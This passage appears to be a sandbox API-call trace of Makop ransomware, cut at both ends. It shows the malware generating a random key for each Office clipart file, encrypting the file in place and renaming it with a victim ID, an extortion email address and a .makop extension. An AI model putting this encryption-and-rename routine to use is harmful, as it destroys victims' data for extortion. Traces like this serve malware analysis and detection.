lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.936] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.936] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x128, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x128, lpOverlapped=0x0) returned 1 [0111.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x130, dwBufLen=0x130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x130) returned 1 [0111.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x130, lpOverlapped=0x0) returned 1 [0111.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.937] SetEndOfFile (hFile=0xf0) returned 1 [0111.944] GetProcessHeap () returned 0x48a0000 [0111.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.945] GetProcessHeap () returned 0x48a0000 [0111.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.945] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.948] CloseHandle (hObject=0xf0) returned 1 [0111.948] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0111.948] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0111.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.949] GetProcessHeap () returned 0x48a0000 [0111.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.949] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.953] GetProcessHeap () returned 0x48a0000 [0111.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.953] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.953] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.953] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.955] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.955] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.955] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x228, lpOverlapped=0x0) returned 1 [0111.955] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x230, dwBufLen=0x230 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x230) returned 1 [0111.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x230, lpOverlapped=0x0) returned 1 [0111.955] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.956] SetEndOfFile (hFile=0xf0) returned 1 [0111.963] GetProcessHeap () returned 0x48a0000 [0111.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.963] GetProcessHeap () returned 0x48a0000 [0111.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.963] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.965] CloseHandle (hObject=0xf0) returned 1 [0111.966] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0111.966] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0111.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.967] GetProcessHeap () returned 0x48a0000 [0111.967] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.967] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.972] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.972] GetProcessHeap () returned 0x48a0000 [0111.972] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.972] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.972] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.972] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.973] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.973] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.973] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1034, lpOverlapped=0x0) returned 1 [0111.987] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1040, dwBufLen=0x1040 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1040) returned 1 [0111.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.988] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1040, lpOverlapped=0x0) returned 1 [0111.988] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.988] SetEndOfFile (hFile=0xf0) returned 1 [0111.996] GetProcessHeap () returned 0x48a0000 [0111.996] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.996] GetProcessHeap () returned 0x48a0000 [0111.996] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.996] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.998] CloseHandle (hObject=0xf0) returned 1 [0111.998] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0111.998] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0111.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.000] GetProcessHeap () returned 0x48a0000 [0112.000] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.000] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.005] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.005] GetProcessHeap () returned 0x48a0000 [0112.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.006] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.006] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.006] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.006] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.006] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.007] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.007] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.007] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8fc, lpOverlapped=0x0) returned 1 [0112.007] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900, dwBufLen=0x900 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x900) returned 1 [0112.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x900, lpOverlapped=0x0) returned 1 [0112.008] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.008] SetEndOfFile (hFile=0xf0) returned 1 [0112.014] GetProcessHeap () returned 0x48a0000 [0112.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.014] GetProcessHeap () returned 0x48a0000 [0112.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.015] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.016] CloseHandle (hObject=0xf0) returned 1 [0112.017] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0112.017] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0112.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.018] GetProcessHeap () returned 0x48a0000 [0112.018] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.018] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.018] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0112.022] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 